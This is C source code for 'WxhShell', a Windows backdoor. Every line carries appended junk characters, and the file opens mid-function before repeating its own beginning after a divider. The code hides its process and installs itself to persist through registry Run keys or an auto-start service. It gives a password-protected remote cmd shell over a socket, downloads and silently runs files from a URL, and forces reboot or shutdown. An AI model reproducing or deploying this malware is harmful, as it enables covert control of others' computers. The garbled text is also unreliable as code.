    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^ 7SE2Zi  
    if(Boot(SHUTDOWN)) T! ww3d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (UB?UJc  
    else { Ab In\,x  
    closesocket(wsh); YW2h#PV6_  
    ExitThread(0); FPE%h =sw  
    } Q3I^(Ll"L  
    break; 2;w`W58  
    } `x]`<kS;  
  // 获取shell *6bO2LO"  
  case 's': { -hY@r 7y  
    CmdShell(wsh); |kGQ~:k+P  
    closesocket(wsh); +WjX@rSq[  
    ExitThread(0); ~+)>D7  
    break; nCS" l5  
  } &"?S0S>r!  
  // 退出 c[>xM3=e^q  
  case 'x': { H:F'5Zt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %6W%-`  
    CloseIt(wsh); M5kw3Jy5  
    break; gkmV; 0  
    } 1N}vz(0"  
  // 离开 eBWgAf.k  
  case 'q': { 4q"4N2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <Ej`zGhWz  
    closesocket(wsh); 4D}hYk$eP0  
    WSACleanup(); f#kT?!sP  
    exit(1); !<3!ORFO  
    break; 0Lf4 ^9N  
        } RKPX*(i~  
  } pft-.1py  
  } t$e'[;w  
WDi2m"  
  // 提示信息 q-s(2C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bE;c&g  
} )|=4H>?%  
  } ek"U q RY  
zP&D  
  return; tv_&PIu]L  
} .b? Aq^i8  
5P{[8PZxbV  
// shell模块句柄 cLf<YF  
int CmdShell(SOCKET sock) K3iQ/j~aq  
{ bC /Ql  
STARTUPINFO si; 8'"=y}]H~  
ZeroMemory(&si,sizeof(si)); tZG l^mA"g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aJ QzM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v<t?t<|J  
PROCESS_INFORMATION ProcessInfo; KZTLIZxI-  
char cmdline[]="cmd"; BN `2UVH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }h=PW'M{  
  return 0; R*!s'R  
} , /%'""`w  
y%X! l(gQ  
// 自身启动模式 qY$ [2]  
int StartFromService(void) ? 3OfiGX?  
{ j!w{  
typedef struct ggL/7I(  
{ tRpY+s~Fq  
  DWORD ExitStatus; 33EF/k3vW  
  DWORD PebBaseAddress; +ZwoA_k{  
  DWORD AffinityMask; aG83@ABx  
  DWORD BasePriority; mEbI\!}H0  
  ULONG UniqueProcessId; rVqQo` K\  
  ULONG InheritedFromUniqueProcessId; 9OV@z6  
}   PROCESS_BASIC_INFORMATION; _ ,s^  
tc0;Ake-&  
PROCNTQSIP NtQueryInformationProcess; ~f(5l.  
`hZh}K^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vMB61 |O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D>[Sib/@  
O-X(8<~H=  
  HANDLE             hProcess; :Y\ ~[Y  
  PROCESS_BASIC_INFORMATION pbi; l)vC=V6MG  
%+=;4tHJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L?j0t*do  
  if(NULL == hInst ) return 0; j(Lz& *4  
[9${4=Kq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J?w_DQa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XZ~kXE;B(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3fhY+$tq  
fwv^dEe  
  if (!NtQueryInformationProcess) return 0; +7}^Y}(  
aWIkp5BFj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T2MC`s|`  
  if(!hProcess) return 0; )b #5rQ  
o 2 Nu@^+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r=5 S0  
e{@RBYX@+c  
  CloseHandle(hProcess); J`U]Ux/L  
!:!(=(4$P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $G`CXhbl  
if(hProcess==NULL) return 0; \ saV8U7B  
pOXI*0_g.  
HMODULE hMod; BV B2$&eJ  
char procName[255]; Q-'j131[  
unsigned long cbNeeded; J)>DsQ+Cj  
#\w N2`" W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .Qx5,)@9  
M5ZH6X@5  
  CloseHandle(hProcess); x<gmDy*  
yws'}{8  
if(strstr(procName,"services")) return 1; // 以服务启动 P|<V0 Vs.  
"00j]e.  
  return 0; // 注册表启动 ~j'D%:[+VH  
} 2L~Vr4eHG  
{6v.(Zlh$  
// 主模块 TQT3]h6  
int StartWxhshell(LPSTR lpCmdLine) bO\++zOF  
{ ^x\VMd3*w  
  SOCKET wsl; P+o"]/7U  
BOOL val=TRUE; G0UaE1n  
  int port=0; {P8d^=#q  
  struct sockaddr_in door; 4{YA['  
lH4Nbluc^  
  if(wscfg.ws_autoins) Install(); E:x@O8F  
g:M;S"U3*Y  
port=atoi(lpCmdLine); K<e #y!  
XRV]u|w=g  
if(port<=0) port=wscfg.ws_port; X<%D@$  
FgH7YkKrD  
  WSADATA data; {XOl &  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i1B!oZ3q  
t1?aw<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   = QBvU)Ki  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !/}3/iU  
  door.sin_family = AF_INET; pa!BJ]~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w5%Yi {  
  door.sin_port = htons(port); " @D  
%zcA|SefP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e(t}$Q=  
closesocket(wsl); 8FuxN2  
return 1; zS%XmS\  
} T?7u [D[[  
*BsK6iVb  
  if(listen(wsl,2) == INVALID_SOCKET) { h!w::cV  
closesocket(wsl); 8}0wSVsxV$  
return 1; <O1R*CaP  
} sy"}25s  
  Wxhshell(wsl); 3k1e  
  WSACleanup(); dVbFMQ&  
'`2KLO>!  
return 0; %>m.Z#R(  
AQ'%}(#0  
} I){4MoH.  
a:cci?cb  
// 以NT服务方式启动 J'%i?cuV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O <Rh[Aqn  
{ `==l 2AX  
DWORD   status = 0; XO <0;9|  
  DWORD   specificError = 0xfffffff; h5P_kZJ  
y\skke]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "8f4s|@ 3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P6v ANL-B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {M**a  
  serviceStatus.dwWin32ExitCode     = 0; 4m0^ N  
  serviceStatus.dwServiceSpecificExitCode = 0; +hN>Q $E  
  serviceStatus.dwCheckPoint       = 0; c~ R'`Q  
  serviceStatus.dwWaitHint       = 0; Xd(^7~i  
RDdnOzx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ev7.!  
  if (hServiceStatusHandle==0) return; al2lC#Sy  
xgk~%X%K  
status = GetLastError(); U,#~9  
  if (status!=NO_ERROR) 2z-Nw <bA  
{ w/6X9d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {'IO  
    serviceStatus.dwCheckPoint       = 0; 11oNlgY&  
    serviceStatus.dwWaitHint       = 0; kOydh(yE  
    serviceStatus.dwWin32ExitCode     = status; r07u6OA  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xz^nm\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^^b'tP1>  
    return; 7a"06Et^  
  } PeJ#9hI~rQ  
mUg :<.^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^%7(  
  serviceStatus.dwCheckPoint       = 0; ]rv\sD`[  
  serviceStatus.dwWaitHint       = 0; ! 6(3Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qZd*'ki<  
} c""&He4zp  
NxHUOPAJc  
// 处理NT服务事件,比如:启动、停止 X)3(.L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aC,adNub  
{ p":u]Xgb  
switch(fdwControl) ;E.]:Ia~  
{ z=>fBb>w7  
case SERVICE_CONTROL_STOP: d,^O[9UWo  
  serviceStatus.dwWin32ExitCode = 0; !UoA6C:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nm5DNpHk  
  serviceStatus.dwCheckPoint   = 0; ;I4vPh5Q  
  serviceStatus.dwWaitHint     = 0; *V2;ds.~  
  { p~w] ~\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?06gu1z/  
  } 5Y *4a%"  
  return; kSz+UMC-7:  
case SERVICE_CONTROL_PAUSE: Tw-NIT)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WGv47i  
  break; |]< 3cW+  
case SERVICE_CONTROL_CONTINUE: gy.UTAs N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  LSC[S:  
  break; Gn2{C%  
case SERVICE_CONTROL_INTERROGATE: m!xvWqY+  
  break; ]d1'5F][H  
}; "-&K!Vfs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y RxrfAdS  
} jSp&\Wjb  
a 8k2*u  
// 标准应用程序主函数 V}s/knd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _.JQ h   
{ L3%frIUd  
kPX+n+$  
// 获取操作系统版本 a&%aads  
OsIsNt=GetOsVer(); ~0p8joOH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `]5qIKopL  
q=X<QhK  
  // 从命令行安装 "KIY+7@S}  
  if(strpbrk(lpCmdLine,"iI")) Install(); hju^x8 ,=m  
 Fe!MA  
  // 下载执行文件 lAN&d;NU6Z  
if(wscfg.ws_downexe) { > Z+*tq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y+"1'W  
  WinExec(wscfg.ws_filenam,SW_HIDE); C!+D]7\j  
} pbx*Y`v  
63 oe0T&  
if(!OsIsNt) { PLz{EQ[cV  
// 如果时win9x,隐藏进程并且设置为注册表启动 {?`rGJ{f  
HideProc(); (7g"ppf  
StartWxhshell(lpCmdLine); A]bQUWt2  
} zQ=b|p]|W  
else z/J?!ee  
  if(StartFromService()) ;U'\"N9  
  // 以服务方式启动 4!/QB6  
  StartServiceCtrlDispatcher(DispatchTable); ?,$:~O* w  
else d~<$J9%  
  // 普通方式启动 ;KQU% k$  
  StartWxhshell(lpCmdLine); S(PV*e8  
J@-'IJ  
return 0; )]fiyXA  
} -YQh F;/  
77M!2S_E  
6:2*<  
"p O  
=========================================== ]'pfw9"f~  
8w:ay,=  
d_,Mylk  
D|zuj]  
6,=Z4>  
4np2I~ !  
" ) f~;P+  
|.c4y*  
#include <stdio.h> |m-N5$\IC  
#include <string.h> *y4g\#o.  
#include <windows.h> nuq@m0t\#  
#include <winsock2.h> Ic&~iqQ  
#include <winsvc.h> i431mpMa  
#include <urlmon.h> T:Cq}4k<  
&oG>Rqkm  
#pragma comment (lib, "Ws2_32.lib") G u`xJ  
#pragma comment (lib, "urlmon.lib") WHC/'kvF  
r-T1^u  
#define MAX_USER   100 // 最大客户端连接数 5~h )pt47  
#define BUF_SOCK   200 // sock buffer kqeEm {I  
#define KEY_BUFF   255 // 输入 buffer c^w^'<  
4pL'c@'  
#define REBOOT     0   // 重启 :P-H8*n""  
#define SHUTDOWN   1   // 关机 iFUiw&  
3V]dl)en%  
#define DEF_PORT   5000 // 监听端口 }Cu:BD.zQ  
}Q`+hJ0  
#define REG_LEN     16   // 注册表键长度 Hdyl]q-(P  
#define SVC_LEN     80   // NT服务名长度 ;> 7~@ K  
HB )+.e  
// 从dll定义API "[ S[vkI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x;W!sO@$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;l%xjMcU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _`SD G5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !mK()#6  
m@ <,bZkl  
// wxhshell配置信息 uRy}HLZ"  
struct WSCFG { G+=G c(J  
  int ws_port;         // 监听端口 yq.@-]ytZ  
  char ws_passstr[REG_LEN]; // 口令 K["rr/  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4(htdn6\  
  char ws_regname[REG_LEN]; // 注册表键名 T}!9T!(HdF  
  char ws_svcname[REG_LEN]; // 服务名 qq!ZYWy2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  wp~}1]g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BZ\="N#f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KOg,V_(I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o135Xh$_>'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i5r<CxS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rTR$\ [C  
Cj#wY  
}; <J d!`$  
x6K_!L*Fx]  
// default Wxhshell configuration 2Ug_3ZuU  
struct WSCFG wscfg={DEF_PORT, fOMaTnm'  
    "xuhuanlingzhe", 6KGT?d  
    1, ;X+0,K3c  
    "Wxhshell", ubB1a_7  
    "Wxhshell", 7B0`.E^~  
            "WxhShell Service", MZ%J ]Nd  
    "Wrsky Windows CmdShell Service", i@:^b_  
    "Please Input Your Password: ", 1R_@C.I  
  1, w&IYCYK_  
  "http://www.wrsky.com/wxhshell.exe", O\7x+^.  
  "Wxhshell.exe" Q7u|^Gu,5  
    }; 6c+29@  
~0CNCP  
// 消息定义模块 h HHR]e5:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,%Z&*/*Oh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G>pedE\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5!ngM  
char *msg_ws_ext="\n\rExit."; ;r2DQg"#@  
char *msg_ws_end="\n\rQuit."; *ssw`}yE'  
char *msg_ws_boot="\n\rReboot..."; D;JZ0."  
char *msg_ws_poff="\n\rShutdown..."; kQU4s)J  
char *msg_ws_down="\n\rSave to "; ~ tR!hc}  
_*}D@yy&  
char *msg_ws_err="\n\rErr!"; w5q6c%VZ  
char *msg_ws_ok="\n\rOK!"; i$pUUK  
X,3"4 SK  
char ExeFile[MAX_PATH]; UK OhsE  
int nUser = 0; F$>#P7ph\a  
HANDLE handles[MAX_USER]; .;31G0<w2  
int OsIsNt; u"5/QB{  
ecm+33C  
SERVICE_STATUS       serviceStatus; C2LG@iCIE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e}O&_ j-  
)T '?"guh`  
// 函数声明 53/$8=  
int Install(void); 0qR#o/~I  
int Uninstall(void); W+u@UJi  
int DownloadFile(char *sURL, SOCKET wsh); @j\;9>I/  
int Boot(int flag); ;|T|*0vY[  
void HideProc(void); tY#&_%W  
int GetOsVer(void); u9:sj  
int Wxhshell(SOCKET wsl); R;AcAJ;  
void TalkWithClient(void *cs); euY+jc%  
int CmdShell(SOCKET sock); @}jg5}  
int StartFromService(void); &pl)E$Y  
int StartWxhshell(LPSTR lpCmdLine); <.g)?nj1  
<Y /3U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5<X"+`=9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >l}v _k*~B  
8Ud.t =2  
// 数据结构和表定义 no\G >#  
SERVICE_TABLE_ENTRY DispatchTable[] = 1V5N)ty  
{ [*K9V/  
{wscfg.ws_svcname, NTServiceMain}, %dw0\:P?Q  
{NULL, NULL} FM3.z)>  
}; 0<A*I{,4L  
gT[]"ZT7  
// 自我安装 6jMc|he  
int Install(void) (| O(BxS  
{ Dg^s$2  
  char svExeFile[MAX_PATH];  k=t{o  
  HKEY key; hJFxT8B/  
  strcpy(svExeFile,ExeFile); 0dx%b677d  
@ #J2t#  
// 如果是win9x系统,修改注册表设为自启动 NWwKp?  
if(!OsIsNt) { `-s]d q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |@rf#,hTDp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .4 NcaMj  
  RegCloseKey(key); PtPx(R3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xxGQXW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &B8x0 yi  
  RegCloseKey(key); EP4?+"Z  
  return 0; MG&vduu  
    } iMM9a;G+  
  } j~rW 2(  
} Q&$2F:4f&  
else { xE_~.EoB  
</9c=GoJ  
// 如果是NT以上系统,安装为系统服务 MR,>]| ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |I]G=.*E  
if (schSCManager!=0) O?#<kmd/)  
{ =585TR; V  
  SC_HANDLE schService = CreateService 4D.h~X4  
  ( O~Jf"Ht  
  schSCManager, UM1h[#?&V)  
  wscfg.ws_svcname, d|tNn@jN  
  wscfg.ws_svcdisp, | v>W  
  SERVICE_ALL_ACCESS, N#OO{`":Z`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cor!Sa>  
  SERVICE_AUTO_START, 2e,cE6r  
  SERVICE_ERROR_NORMAL, c8l\1ce?7  
  svExeFile, laCVj6Rk  
  NULL, z/o&r`no  
  NULL, 22d>\u+c  
  NULL, .$&vSOgd(  
  NULL, nFwg pT  
  NULL x 'i~o'  
  ); aE]RVyG@L  
  if (schService!=0) dpdp0  
  { HlxgJw~<  
  CloseServiceHandle(schService); mg3YKHNG  
  CloseServiceHandle(schSCManager); ZV/g_i #  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MA=gCG/JD  
  strcat(svExeFile,wscfg.ws_svcname); H8Ra!FW@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I Yr4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {- &wV  
  RegCloseKey(key); Np opg1Gv>  
  return 0; z9Y}[ pN  
    } ~!fOl)F  
  } skLr6Cs|  
  CloseServiceHandle(schSCManager); _Pw5n mH c  
} R,hwn2@B  
} qpB8ujj<V  
/u"K`y/*j\  
return 1; i1qmFvksl  
} b5 AP{ #  
0d,&)  
// 自我卸载 |@D%y&  
int Uninstall(void) 0VgsV;  
{  *% ]&5  
  HKEY key; |'k7 ;UW  
E zU=q E  
if(!OsIsNt) { ]D>\Z(b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x50ZwV&j  
  RegDeleteValue(key,wscfg.ws_regname); 78'3&,+si  
  RegCloseKey(key);  N,ihQB5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f2P2wt.$  
  RegDeleteValue(key,wscfg.ws_regname); R5cpmCs@R  
  RegCloseKey(key); > {h/4T@  
  return 0; 0@jhNtL  
  } 3jM+j_n R  
} I(Q3YDdb  
} ]E vK.ORy  
else { 5F5)Bh  
DvBRK}'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dJ,,yA*  
if (schSCManager!=0) =eeZtj.  
{ 4^w`] m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /kFw(l_.  
  if (schService!=0) T;Ra/H  
  { O1z3(  
  if(DeleteService(schService)!=0) { $gcC}tX  
  CloseServiceHandle(schService); ESY\!X:|  
  CloseServiceHandle(schSCManager); U'xmn$ O  
  return 0; L8$+%Gvo  
  } D0p>Q^w  
  CloseServiceHandle(schService); X./7b{Pax  
  } m@c\<-P  
  CloseServiceHandle(schSCManager); qJJ~#W)  
} V53iWWaFe  
} D"s ]dQ$r  
6  8a  
return 1; :8Ql (I  
} I#:4H2H6  
-*0U&]T  
// 从指定url下载文件 |s[k= /~"  
int DownloadFile(char *sURL, SOCKET wsh) UV)!zgP  
{ iy,jq5uw  
  HRESULT hr; j !rQa^   
char seps[]= "/"; ":Ll. =!  
char *token; kKNrCv@64d  
char *file; 6tT*b@/_o  
char myURL[MAX_PATH]; CDDOm8  
char myFILE[MAX_PATH]; E<4'4)FHuQ  
mT#ebeBaf  
strcpy(myURL,sURL); aL0,=g%  
  token=strtok(myURL,seps); <.c#l':  
  while(token!=NULL) 8s<t* pI2  
  { QR{pph*zn-  
    file=token; p V`)  
  token=strtok(NULL,seps); rTYMN  
  } ^yVKW5x  
"s rRlu  
GetCurrentDirectory(MAX_PATH,myFILE); S5xum_Dq  
strcat(myFILE, "\\"); k|F TT  
strcat(myFILE, file);  <sC.  
  send(wsh,myFILE,strlen(myFILE),0); @xPWR=Lb  
send(wsh,"...",3,0); ~V!gHJ5M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <(dg^;  
  if(hr==S_OK) L[.RV*sL  
return 0; r2xIbZ  
else m\ (crkN  
return 1; #TKByOcD2!  
z+qrsT/?L  
} qHra9yuSh  
EPGp8VGXp~  
// 系统电源模块 +G?nmXG[vj  
int Boot(int flag) .0u@PcE:O  
{ C:@JLZB  
  HANDLE hToken; H D{2nZT  
  TOKEN_PRIVILEGES tkp; VF] ~J=>i  
^,N=GZRWW  
  if(OsIsNt) { dG*2-v^G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =?gDM[t^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B|6_4ry0U  
    tkp.PrivilegeCount = 1; QwgP+ M+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "1%YtV5R{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EnnE@BJ"  
if(flag==REBOOT) { u40<>A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f" g-Hbl5  
  return 0; t7qY!S (  
} 8UN7(J  
else { H m Z*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QcG-/_,'}  
  return 0; }2~$"L,_  
} 7C@%1kL  
  } "3X~BdH&J  
  else { KO5! (vi@  
if(flag==REBOOT) { k_hs g6Ur.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q"=$.M~  
  return 0; a!H t81gj  
} 7,&M6<~  
else { { x/~gp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;7w4BJcq']  
  return 0; eg Zb)pP  
} [,As;a*o  
} LP- _i}Kq  
/D&7 \3}  
return 1; 68-2EWq  
} l#k&&rI5x.  
4<Q^/-W  
// win9x进程隐藏模块 Rx%SeM2  
void HideProc(void) T?V!%AqY:  
{ v[I,N$ :  
$`Hb -  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fl0 :Z  
  if ( hKernel != NULL ) T+U,?2nF:  
  { >,)tRQS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;ro%Wjg`}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :FqHMN  
    FreeLibrary(hKernel); R8![ $mkU  
  } Q/<?v!h{  
XpU%09K  
return; q7u bRak  
} s(MLBV5)w  
1O@ D  
// 获取操作系统版本 1&Ruz[F5  
int GetOsVer(void) 7\nR'MOZ  
{ Tq*K =^  
  OSVERSIONINFO winfo; o"-*,:Qe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pZaOd;t  
  GetVersionEx(&winfo); =#|K-X0d=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~s4o1^6L  
  return 1; :#&Y  
  else ;>Q.r{P  
  return 0; 8-cCWo c  
} HHcWyu  
oQ"J>`',  
// 客户端句柄模块 ~|5B   
int Wxhshell(SOCKET wsl) #<EMG|&(  
{ >0Gdxj]\  
  SOCKET wsh; bL9vjD'}  
  struct sockaddr_in client; ;'~GuZ#I  
  DWORD myID; 9E-]S'Z  
r ; pS_PV  
  while(nUser<MAX_USER) [OK(  
{ J.^%VnrFO9  
  int nSize=sizeof(client); VYC$Q;Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @^UnrKSd  
  if(wsh==INVALID_SOCKET) return 1; l11+sqg  
$>=?'wr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )$oboAv#  
if(handles[nUser]==0) C6ry]R@  
  closesocket(wsh); (f `zd.  
else {]V+C=`  
  nUser++; k2Y *  
  } ?|,-Bft3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~![J~CkPS  
FvVR \a  
  return 0; N~t4qlC/  
} %MH!L2|  
^a{cK  
// 关闭 socket LZF %bJv  
void CloseIt(SOCKET wsh) $zv&MD!&h  
{ 5KIlU78  
closesocket(wsh); $2'Q'Mx[gd  
nUser--; v3 ]mZ}W$  
ExitThread(0); wi$,Y. :  
} FQW{c3%qZ  
*p Q'w  
// 客户端请求句柄 Vnvfu!>(  
void TalkWithClient(void *cs) vE<z0l  
{ GZCXm+  
0V[`zOO(o  
  SOCKET wsh=(SOCKET)cs; #$;i 4a  
  char pwd[SVC_LEN]; Y `ySNC  
  char cmd[KEY_BUFF]; E@%9u#  
char chr[1]; Tw+V$:$$  
int i,j; nXFPoR)T  
(`me}8  
  while (nUser < MAX_USER) { xq-TT2}<L  
pf[m"t6G~  
if(wscfg.ws_passstr) { S&Szc0-|k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u-%|ZSg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Un &OAy.!  
  //ZeroMemory(pwd,KEY_BUFF); _Z{EO|L  
      i=0; P'Diie  
  while(i<SVC_LEN) { 8k|&&3_[?  
NL} Q3Vv1.  
  // 设置超时 dDxb}d x8  
  fd_set FdRead; 5g\>x;cc  
  struct timeval TimeOut; @4xV3Xkf&C  
  FD_ZERO(&FdRead); .bloaeu-  
  FD_SET(wsh,&FdRead); :Cdqj0O3u  
  TimeOut.tv_sec=8;  J*FUJT  
  TimeOut.tv_usec=0; EPu-oE=HW4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y13Y,cz~B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +pG[ [}/  
v_L2>Pa.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K2 b\9}  
  pwd=chr[0]; Uuq*;L  
  if(chr[0]==0xd || chr[0]==0xa) { n3B#M}R  
  pwd=0; CD:$22*]  
  break; v{c,>]@  
  } +]dh`8*8>1  
  i++; H&_drxUq;L  
    } G%FLt[  
S\"#E:A  
  // 如果是非法用户,关闭 socket ]21`x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x*7Q  
} " .<>(bE  
s=[T,:Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^sqTgrG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tQ7:4._  
\h48]ZjC`  
while(1) { EV.F/W h  
zz* *HwRt  
  ZeroMemory(cmd,KEY_BUFF); [ @ASAhV^+  
&w'1  
      // 自动支持客户端 telnet标准    e gdbv  
  j=0; *VV#o/Q p  
  while(j<KEY_BUFF) { Ouos f1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #ni:Bwtl{  
  cmd[j]=chr[0]; G5,g$yNs  
  if(chr[0]==0xa || chr[0]==0xd) { ] =*G[  
  cmd[j]=0; wT>~7$=L{  
  break;  U!O"f  
  } K'\Jnn  
  j++; R>T9 H0  
    } CAa&,ZR  
j{&$_  
  // 下载文件 K=N8O8R$y  
  if(strstr(cmd,"http://")) { t/B4?A@C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U~I y),5  
  if(DownloadFile(cmd,wsh)) Rv)*Wo!L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nI7v:h4  
  else +%  !'~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F_.1^XM  
